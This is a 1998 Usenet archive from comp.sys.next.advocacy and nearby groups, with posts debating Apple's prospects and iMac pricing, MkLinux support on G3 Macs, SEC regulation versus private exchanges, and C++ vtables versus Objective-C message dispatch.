References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6ogh3r$eju$1@news.digifix.com> <not-1407981518530001@2-79.phx.psn.net> <6ogm1i$g1e$1@news.digifix.com> <not-1407982242490001@1-43.phx.psn.net> <6oif1k$h7g$5@server.signat.org> <35ACCF02.B825A5B9@ericsson.com>
Mail-Copies-To: pxpst2@spam.suxs.unixs.cis.pitt.edu
In article <35ACCF02.B825A5B9@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> mmalcolm crawford, where is this "caring NeXT community" you once told
> me about? I don't see any of that these days. Maybe it would be nice to
> turn back the clock two years...
>
If you have to ask...then you are not one of the caring few....
As for doubting Henry Norr, well when was the last time that he had to
write code that would make money. And How many insiders does he know?
Writing about code is not the same as writing code.
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: 16 Jul 1998 08:46:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6ol77p$2un@nntp02.primenet.com>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <joe.ragosta-1607980759480001@wil45.dol.net> <6oktri$frj$1@lwnws01.ne.highway1.com>
<joe.ragosta-1607981004370001@wil67.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
: And, as has been stated, the comparison is name brand machines. The data
: has already been provided that very few people are buying no name clones
: (80% of computer sales are to the top 10 vendors alone). Apple has no
: immediate plans to compete against garage shop clones.
It's pretty funny that you use the "most people" argument when it suits
you. I'm sure "most people" will be buying Windows machines ... perhaps
we should limit the competition to them. ha ha ha.
John
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: PC Magazine Apple Poll
Date: Thu, 16 Jul 1998 10:54:15 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35AE2227.6C486721@milestonerdl.com>
References: <35ADBB84.71CFB29@alum.mit.edu> <joe.ragosta-1607980756230001@wil45.dol.net>
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Joe Ragosta wrote:
> > How do you regard Apple today?
> >
> > Reborn. Steve Jobs has whipped it into shape. 333 (20%)
> > Surviving. It has a future in graphics and education. 491 (29%)
> > Struggling. It's already lost all the big battles. 878 (52%) *
> >
> > * As Cartman was say, "Those son's a-bitches!"
>
> What do you expect from a PC Magazine popularity poll? All those people
> who bought PCs can't stand the thought that they might have made the wrong
> decision, so they have to bad-mouth the Mac.
Actually, its all in the wording of the question.
"It's already lost all the big battles"
Does anyone want to disagree with that statement? If the big battles
were for marketshare, developer loyality, and application volume, how
has Apple 'won' these battles?
What 'big battles' has Apple 'won' across the computer battlefield?
Saying "people who bought PCs can't stand the thought that they might
have made the wrong decision, so they have to bad-mouth the Mac." makes
the Mac camp sound like the Amiga camp all those years ago.
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.next.advocacy
Subject: Re: PC Magazine Apple Poll
Date: Thu, 16 Jul 1998 07:20:10 -0700
Organization: University of British Columbia
Message-ID: <1dc8w8r.1teu9x1qemexuN@p055.intchg3.net.ubc.ca>
References: <35ADBB84.71CFB29@alum.mit.edu> <joe.ragosta-1607980756230001@wil45.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
> In article <35ADBB84.71CFB29@alum.mit.edu>, Eric Hermanson
> <eric@alum.mit.edu> wrote:
>
> > http://www.pcmagazine.com
> >
> > How do you regard Apple today?
> >
> > Reborn. Steve Jobs has whipped it into shape. 333 (20%)
> > Surviving. It has a future in graphics and education. 491 (29%)
> > Struggling. It's already lost all the big battles. 878 (52%) *
> >
> > * As Cartman was say, "Those son's a-bitches!"
>
> What do you expect from a PC Magazine popularity poll? All those people
> who bought PCs can't stand the thought that they might have made the wrong
> decision, so they have to bad-mouth the Mac.
PC Mag likely wouldn't have bothered with such a poll last year, and
certainly wouldn't have posed the first of those three questions. Even
the fact that just over half the respondents are described as thinking
Apple is "struggling" is a plus: all I've ever heard about the Mac from
readers of that magazine is the curiously vengeful mantra, "Dead, dead,
dead..."
One of the mysteries of computer culture is the paramount importance of
"knowing" what's "dead." "Foo is dead, you can count on that!" is a
standard form of proclamation. The less transferable or generalizable
the speaker's knowledge about Bar is, the more implacably certain
his/her "knowledge" that Foo will die very soon, thus making life
simpler, more secure, more comfortable.
--
Bruce Bennett
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Thu, 16 Jul 1998 11:08:52 -0500
Organization: Ericsson North America Inc.
Message-ID: <35AE2594.28B3A1AE@ericsson.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6ogh3r$eju$1@news.digifix.com> <not-1407981518530001@2-79.phx.psn.net> <6ogm1i$g1e$1@news.digifix.com> <not-1407982242490001@1-43.phx.psn.net> <6oif1k$h7g$5@server.signat.org> <35ACCF02.B825A5B9@ericsson.com> <pxpst2-1607981151540001@pelli.pathology.pitt.edu>
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Peter wrote:
> > mmalcolm crawford, where is this "caring NeXT community" you once told
> > me about? I don't see any of that these days. Maybe it would be nice to
> > turn back the clock two years...
> >
> If you have to ask...then you are not one of the caring few....
Well, certainly not a part of the NeXT community, if you'd cared to read
the question.
> As for doubting Henry Norr, well when was the last time that he had to
> write code that would make money. And How many insiders does he know?
> Writing about code is not the same as writing code.
No, it's not, is it? Kind of brings into the light the difference
between journalism and business advertising, I suppose. Thanks for
playing.
MJP
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 16 Jul 1998 16:13:29 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6qs9l9.860.sal@panix3.panix.com>
References: <slrn6qqgad.vos.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ojqpt$u6p$1@samsara0.mindspring.com>
On 16 Jul 1998 03:07:41 GMT, Matthew Cromer <matthew_cromer@iname.com> wrote:
>In article <slrn6qqgad.vos.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> Matt
>Kennel, NOSPAMmbkennelNOSPAM@yahoo.com writes:
>>I am an average investor. How on earth can I use my "responsibility" instead
>>of the SEC to force companies to accurately report their finances?
>Simple. Exchanges set the rules instead of the SEC.
-----------^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
And how is this different from the SEC setting the rules? What makes five
guys on an SEC commity "evil goverment drones" but those same five guys
running an unregulated private exchange "shinning knights of capitalism"?
What about insider trading? How could exchanges stop it without the SEC?
Should people be able to abuse knowledge they get under strict confidence?
> Therefore, if a
>company wants to be traded on a reputable exchange, they will comply with
>exchange rules.
What keeps these exchanges honest? This set up rewards those who make a lot
of money, not those who act responsibly. Are you aware of the phenomena
called "the prisoner's dilemma"? What would keep a short sided person from
abusing investor confedence to make a quick kill in the market?
> You are welcome to purchase from a reputable exchange or
>to use one with a poor reputation to purchase speculative stocks.
This existed before the SEC, it didn't work very well. The market still has
a bad rep because of this.
>there were an exchange for speculative startups, these entrepreneurs
>could get money from the broader public instead of having to give up
>control to angels and vc's.
------------^^^^^^
And how is Libertarian blind faith in the "free market" all that different
then blind faith in anything else? I think a middle of the road system
with a lot of checks and balances will serve the majority better then a
system that leans to any one side.
>>People get fleeced frequently already now. It would be massively worse
>>without an SEC.
>Don't you think you ought to support this statement? Or is simply saying
>it enough to make you believe it?
Take a look at the events leading up to the great depression. Take a look
at some of the stock fixing that has gone on in the unregulated exchanges
of the former Soviet block nations. If you want URL's or ISBN numbers I'll
get them for you.
--
sal@panix.com
Salvatore Denaro
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: Thu, 16 Jul 1998 11:11:54 -0500
Organization: none
Message-ID: <tim-1607981112260001@jump-k56flex-1168.jumpnet.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <6o2e5p$q2u$1@news.cs.tu-berlin.de> <1dbwpln.1hul373c7z78eN@dialup207-3-17.swipnet.se> <6o32eu$ljg1@odie.mcleod.net> <6ogmq6$5dp$1@nnrp1.dejanews.com> <1dc804m.mwatig1uf62gwN@rhrz-isdn3-p14.rhrz.uni-bonn.de> <6okg1v$puc$3@leonie.object-factory.com> <1dc9g6m.1vb5kt51h8o4hmN@dialup184-3-49.swipnet.se>
In article <1dc9g6m.1vb5kt51h8o4hmN@dialup184-3-49.swipnet.se>,
lars.farm@ite.mh.se (Lars Farm) wrote:
| Holger Hoffstaette <holger@object-factory.REMOVETHIS.com> wrote:
| > Michael Schuerig wrote:
| > > C++ virtual functions are (usually) bound through fixed indexes into
| > > function pointer arrays. Objective-C methods are bound through
| > > associative lookup of selectors in tables.
|
| A v-table lookup is an associative lookup in a table of function
| pointers using a function signature as key. A function signature is the
| function name + the types of its arguments in order.
There appear to be a few concepts getting mixed up here (yes, it can be
confusing).
What you are talking about isn't the vtable -- rather, it is how the C++
compiler resolves overloaded functions at compile time. The vtable, on
the other hand, is the runtime mechanism used to resolve a particular
virtual function. To compare:
C++
Compile time:
- overloaded methods are resolved to a particular
function (using the associative mechanism you outline above)
- virtual functions are assigned a fixed slot index in the vtable
Runtime:
- virtual functions are called by indexing the vtable by a
fixed offset, then calling the actual function through the
pointer stored there
Smalltalk / Obj-C
Compile time:
- method calls are resolved to a unique selector, based upon
the signature (method name + number [not type] of operands)
Runtime:
- selectors are dynamically looked up in the associative
method dictionary to determine which method to invoke
| What exactly is a selector?
| Could you please describe the corresponding Obj C process in a little
| more detail?
A selector is a unique value (Symbol, address, whatever) that is derived
from the method name and number of operands. It is "unique", in that all
messages with the same name and number of operands use the exact same
selector, even if they are separately compiled. One could possibly
concatenate the method name and size as a string and use that as a
selector, but that would involve a string compare (slow) during method
lookup. Instead, a unique address value is used.
A message send in Smalltalk or Obj-C involves associatively looking up the
selector in the receiver's method dictionary. If it isn't found, it is
looked up in the superclass's dictionary, etc. This dynamic lookup at
runtime allows two different objects with no common base class to respond
to a message, whereas in C++ they must share a base class, and that base
class must have declared the particular function virtual.
--
-- Tim Olson
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 16 Jul 1998 16:27:18 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6qsaf6.860.sal@panix3.panix.com>
References: <rmcassid-1307981236210001@dante.eng.uci.edu> <B1CFE671-1B03D@206.165.43.144> <joe.ragosta-1307982039510001@elk49.dol.net>
On Mon, 13 Jul 1998 20:39:50 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
>What are the characteristics that make someone a good marketing person?
>Energy
>Willingness to listen to customers
>Good communication skills
>Enough technical skills to understand and explain the product
>Add your own.
I'll do that...
1) The ability to lie and sound sincere
2) Being able to *spin* bad press on your product (Compaq & Intel get
high marks for spin control. Apple hasn't been able to do this since
the days of Gassee)
3) The ability to stand in front of a mirror without casting a reflection.
Or do you think that marketing is only about possitive skills?
>Aren't those the same things you'd want from the head of developer relations?
Maybe not the mirror thing...
>requirements--this comment is only in reply to Lawson's implication that a
>good marketing person would not be good in developer relations).
Isn't arguing if a hypothetical person is good for a hypothetical job a bit
of a strech, even for you? :)
--
sal@panix.com
Salvatore Denaro
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: 16 Jul 1998 16:27:36 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6ol9lo$98t$1@news.spacelab.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <6o2e5p$q2u$1@news.cs.tu-berlin.de> <1dbwpln.1hul373c7z78eN@dialup207-3-17.swipnet.se> <6o32eu$ljg1@odie.mcleod.net> <6ogmq6$5dp$1@nnrp1.dejanews.com> <1dc804m.mwatig1uf62gwN@rhrz-isdn3-p14.rhrz.uni-bonn.de> <6okg1v$puc$3@leonie.object-factory.com> <1dc9g6m.1vb5kt51h8o4hmN@dialup184-3-49.swipnet.se>
lars.farm@ite.mh.se (Lars Farm) wrote:
>Holger Hoffstaette <holger@object-factory.REMOVETHIS.com> wrote:
>> Michael Schuerig wrote:
>>> C++ virtual functions are (usually) bound through fixed indexes into
>>> function pointer arrays. Objective-C methods are bound through
>>> associative lookup of selectors in tables.
>
>A v-table lookup is an associative lookup in a table of function
>pointers using a function signature as key. A function signature is the
>function name + the types of its arguments in order. It is what
>distinguishes one function from another. What exactly is a selector?
The header files define it as:
typedef struct objc_selector *SEL;
>Could you please describe the corresponding Obj C process in a little
>more detail?
Sure. Semi-long quote ahead:
Subject: Re: Objective C?
From: Charles William Swiger <cs4w+@andrew.cmu.edu>
Date: 1997/03/22
Newsgroups:
comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc,com
p.lang.objective-c
Excerpts from netnews.comp.sys.next.advocacy: 22-Mar-97 Re: Objective C?
by Loren Petrich@netcom.com
> I may have been too literal-minded in assuming that every dispatch
> uses a string rather than an enum;
You were wrong in assuming that _any_ ObjC dispatch uses a string.
At compile time, the compiler associates the Method string with a
selector. You can also do that directly yourself via the @selector()
syntax, which is often used to forward messages, as an example from
NeXT's docs illustrates:
"Even if your class can't inherit the negotiate method, you can still
'borrow' it by implementing a version of the method that simply passes
the message on to an instance of the other class:
- negotiate
{
if ( [someOtherObject respondsTo:@selector(negotiate)] )
return [someOtherObject negotiate];
return self;
}"
Code like:
> if the ObjC compiler is smart enough,
> it might do something like translate
>
> [obj M: arg1]
> [obj M: arg2]
> [obj M: argc]
...is transformed into:
objC_msgSend(obj, (SEL) some_int, arg1)
....where some_int == @selector(M). This is also resolved at compile
time, and the struct objc_selector * (typedef'ed as SEL), is effectively
just a 4-byte hashed value associated by the runtime system with the
full C string of the method name. Obj-C message dispatch therefore
involves a hashtable lookup of the function implementation for a given
selector; it does not involve C strings.
However, if you want to deal with method names which are not known at
compile time, you use various runtime functions like:
SEL sel_getUid(const char *aName)
...which will convert a method name into a selector at runtime, and you
can then use the selector returned to perform method dispatches
assuming, of course, that string corresponds to a valid selector.
---------end-quote----------
>> Would it be possible to patch vtables at runtime?
>
>C++ is the semantics of the program text that you write. The language
>spec has nothing to say about how or *when* the linking process is done.
>Linking to shared libraries or other code dynamically at runtime would
>be perfecly acceptable and is also common practice. Furthermore there
>doesn't have to be a v-table at all. Other search-mechanisms are
>perfectly legal.
Sure, but...when you consider an actual implementation, you've got libraries
associated with the language which tend to have stronger linkages to the
specific details of how the search mechanism is actually implemented.
In fact, the specific implementation of a particular v-table layout by a
particular vendor is being proposed as a "standard"-- see Microsoft's COM.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted (was: Re: OS X: Installed base of only 750,000 G3 systems?)
Date: 16 Jul 1998 13:10:51 GMT
Organization: I don't think so
Message-ID: <slrn6qrv5d.3db.jason@jhste1.dyn.ml.org>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <1dc5a0z.gy73ut1b1nfl4N@ip206.albnxr2.ras.tele.dk> <1dc81k6.tpc4xgqdgox8N@oak-hiper1-147-211.dialup.slip.net>
Ross Bernheim posted the following to comp.sys.mac.advocacy:
>> In general, the newest computers aren't supported by
>> MkLinux, the old NuBus based are.
>Linux being a volunteer effort, it takes them some time to do the work
>to support new machines after they are released. This is one of the few
>drawbacks to Linux. However, there has been support for the pci bus
>machines for a few months, and there is a version that supports the G3
>machines available on-line. The final release of this newest version on
>CD is supposed to happen soon.
Linux/PowerPC has supported the PCI machines for more than "a few months"
(more like a few years).
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: Thu, 16 Jul 1998 09:34:48 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1607980934480001@dante.eng.uci.edu>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com>
In article <6ojtmb$otj$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
>rmcassid@uci.edu (Robert Cassidy) wrote:
>> They just need to get unit shipments and revenues up. Some concern with
>> iMac still being impacted through October, though. Don't look for a price
>> drop on iMac _this_ year, I think.
>
>Which is a real shame, b/c if they released the imac for 999, it would make
>all the difference in the world. It would just tear new aholes in the
>market. At 1300bux, it really is not all that competitive to the wintel
>market, unfortunatly. Still very cute and cool. I might even get one; when
>it goes down to 999 that is. (woowhoo :)
I'm not sure how, other than psychologically.
Apple has stated that they _hope_ they can meet demand by xMas. The
problem simply comes down to a case where Apple can't make as much as the
market wants. Given that, the prices will stay up.
As for price competitiveness, I'd say it is well balanced. Sure, there are
cheaper systems out there, but Apple appears to be throwing in some speed
and quality to offset the cost. Reasonable. So long as 20% of the market
find value in quality then Apple should be ok with this strategy
near-term.
At $999, it really would tear a new ahole in the market, though.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: Thu, 16 Jul 1998 09:38:42 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1607980938420001@dante.eng.uci.edu>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <joe.ragosta-1607980759480001@wil45.dol.net> <6oktri$frj$1@lwnws01.ne.highway1.com>
In article <6oktri$frj$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
>The average 999 cpu purchaser is not looking at things like
>expandability (wich the pc's are better at) or price performance, they are
>specifically looking at what can they get for 999 (and not spend 30% more).
>And at that price point, many are not demanding a name brand, just a machine.
>So apple in many cases will be compared to non-namebrands; and to be fair
>they ought to compete on some level with non name brands since there is no
>non-name brand mac segment that is viable.
But a big percentage of that _same_ crowd also doesn't know squat about
getting their computer to run, and has never heard of Computer Shopper.
They just want a cheap, reliable, easy to use system. My mom _hates_ her
Compaq because it has a habit of breaking every time her husband goes away
on a business trip for a week, and there is _no_ way she can get it fixed
(and I'm not nearly capable enough to fix a PC over the phone).
But the iMac - not much to go wrong there.
-Bob Cassidy
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Thu, 16 Jul 1998 11:38:25 -0500
Organization: Ericsson North America Inc.
Message-ID: <35AE2C81.AB098FF4@ericsson.com>
References: <slrn6qqgad.vos.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ojqpt$u6p$1@samsara0.mindspring.com> <slrn6qs9l9.860.sal@panix3.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Salvatore Denaro wrote:
^^^^^^^^^^^^^^^^^^^^^^^^^
>
> And how is this different from the SEC setting the rules? What makes five
> guys on an SEC commity "evil goverment drones" but those same five guys
> running an unregulated private exchange "shinning knights of capitalism"?
I think it's pretty self-explanatory. Exchange membership is voluntary.
Government regulation is not. Exchanges take the blame and the
consequences for failure. Government does not. Exchanges have an
economic incentive to encourage fair play. Government does not.
Exchanges seek the best interests of both stockholders and member
corporations. Government does not.
> What about insider trading? How could exchanges stop it without the SEC?
Suspend membership?
> Should people be able to abuse knowledge they get under strict confidence?
It's sort of up to the exchange, no?
> What keeps these exchanges honest?
Their reputations? Stockholders' vigilance? Watch what happens when an
exchange is purported to have engaged in dishonest business practices.
Zoom! Money disappears.
> This set up rewards those who make a lot
> of money, not those who act responsibly. Are you aware of the phenomena
> called "the prisoner's dilemma"? What would keep a short sided person from
> abusing investor confedence to make a quick kill in the market?
The assurance that they would be blacklisted for the rest of their life?
Why would they do this when a truly open market would provide ample
opportunity for honest advancement?
Regardless, when one speculates one takes responsibility for the costs.
If you're a smart investor you'll either investigate your investment
plan or you'll assume that the money is a loss because you're taking a
risk.
> This existed before the SEC, it didn't work very well. The market still has
> a bad rep because of this.
What on earth do you mean? You think it's any different now as the
market climbs past record after record?
> >there were an exchange for speculative startups, these entrepreneurs
> >could get money from the broader public instead of having to give up
> >control to angels and vc's.
> ------------^^^^^^
>
> And how is Libertarian blind faith in the "free market" all that different
> then blind faith in anything else? I think a middle of the road system
> with a lot of checks and balances will serve the majority better then a
> system that leans to any one side.
The libertarian free market *is* a middle of the road system. Any system
that leans toward government is leaning toward one side. The free market
is full of natural checks and balances. Upsetting those checks and
balances is the primary activity of regulatory governmental powers.
> Take a look at the events leading up to the great depression. Take a look
> at some of the stock fixing that has gone on in the unregulated exchanges
> of the former Soviet block nations. If you want URL's or ISBN numbers I'll
> get them for you.
That would be nice. Even nicer would be a demonstration that you're at
all familiar with the topics you're dropping, as if they speak for
themselves. I can't discern what you're getting at.
MJP
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: PC Magazine Apple Poll
Date: 16 Jul 1998 16:44:52 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6qsbg4.860.sal@panix3.panix.com>
References: <35ADBB84.71CFB29@alum.mit.edu> <joe.ragosta-1607980756230001@wil45.dol.net>
On Thu, 16 Jul 1998 07:56:23 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
>All those people
>who bought PCs can't stand the thought that they might have made the wrong
>decision, so they have to bad-mouth the Mac.
They weren't saying anything about the Mac, they were talking about Apple.
<sarcasm>
Joe, do not look directly at the RDF. What you want to do is punch a hole
in a piece of cardboard and make a pin-hole camera and observe the RDF
from a safe distance.
</sarcasm>
Apple is hardly in the clear. They are still very much in trouble; but, at
least it looks like they have a plan to get out of trouble.
Keep the following in mind:
1) The iMac hasn't made them a dime yet. Just because it looks cool and is
getting good reviews doesn't mean that it will sell. Remember the NeXT
Cube? The bebox?
2) A lot of Mac customers are pissed about not being able to run MacOSX on
8600 and 9600 machines. How many of them might more to NT?
3) Rhapsody hasn't shipped yet. MacOSX is a year away. A lot can happen in
a year.
4) Last time I checked, Apple still had an interim CEO.
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 16 Jul 1998 16:47:46 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6qsbli.860.sal@panix3.panix.com>
References: <35AA8501.CF6AAF27@nospam.com> <35AC0107.29F81818@alum.mit.edu> <6ogvfj$opt$2@lwnws01.ne.highway1.com> <us51zrn3j22.fsf@ai.mit.edu> <6oh8n7$4vu$1@camel21.mindspring.com> <6oi465$5q5$1@nnrp1.dejanews.com>
On Wed, 15 Jul 1998 11:35:33 GMT, quinlan@intergate.bc.ca <quinlan@intergate.bc.ca> wrote:
>The reason that 80+% of the development market is dominated by Visual C++ is
>because NeXT had the same attitude that you do.
Or maybe because it takes a lot more people to get an App done in VC++
--
sal@panix.com
Salvatore Denaro
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: Thu, 16 Jul 1998 09:44:24 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1607980944240001@dante.eng.uci.edu>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <joe.ragosta-1607980758020001@wil45.dol.net>
In article <joe.ragosta-1607980758020001@wil45.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>Actually, their _biggest_ problem is going to be meeting demand. I sure
>hope they can keep up with the orders.
Yeah, that's what the other issues point to. Apple's margins suggest that
they could cut prices fairly significantly but with no ability to meet
demand, there's simply no point. I think that Apple has made sacrifices to
prepare for iMac. The iMac could account for as much as 1.5M units/year
for Apple. That's a ton for them. So iMac should allow Apple to simply
produce more. But I don't think they can produce enough even with that.
They've been outsourcing more, so maybe they'll get there.
-Bob Cassidy
From: tph@longhorn.uucp (Tom Harrington)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted (was: Re: OS X: Installed base of only 750,000 G3 systems?)
Followup-To: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 16 Jul 1998 16:50:09 GMT
Organization: Mechanist Industries
Message-ID: <6olb01$qs25@eccws1.dearborn.ford.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <1dc5a0z.gy73ut1b1nfl4N@ip206.albnxr2.ras.tele.dk>
=?ISO-8859-1?Q?Per_Erik_R=F8nne?= (xerxes@diku.dk) wrote:
: And then - sell the old computer, give it away to family or use it as a
: UNIX [MkLinux] box. In general, the newest computers aren't supported by
: MkLinux, the old NuBus based are.
Per,
I'm running MkLinux on a G3/266. Which "newest" Macs are you talking
about here? The All-In-One G3 is supported, as are G3 PowerBooks.
--
Tom Harrington --------- tph@rmii.com -------- http://rainbow.rmii.com/~tph
"The less I seek my source for some definitive, the closer I am
to fine." -Indigo Girls, "Closer to Fine"
Cookie's Revenge: ftp://ftp.rmi.net/pub2/tph/cookie/cookies-revenge.sit.hqx
Date: Thu, 16 Jul 1998 12:08:39 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: PC Magazine Apple Poll
Message-ID: <joe.ragosta-1607981208390001@wil41.dol.net>
References: <35ADBB84.71CFB29@alum.mit.edu> <joe.ragosta-1607980756230001@wil45.dol.net> <35AE2227.6C486721@milestonerdl.com>
In article <35AE2227.6C486721@milestonerdl.com>, m rassbach
<mark@milestonerdl.com> wrote:
> Joe Ragosta wrote:
> > > How do you regard Apple today?
> > >
> > > Reborn. Steve Jobs has whipped it into shape. 333 (20%)
> > > Surviving. It has a future in graphics and education. 491 (29%)
> > > Struggling. It's already lost all the big battles. 878 (52%) *
> > >
> > > * As Cartman was say, "Those son's a-bitches!"
> >
> > What do you expect from a PC Magazine popularity poll? All those people
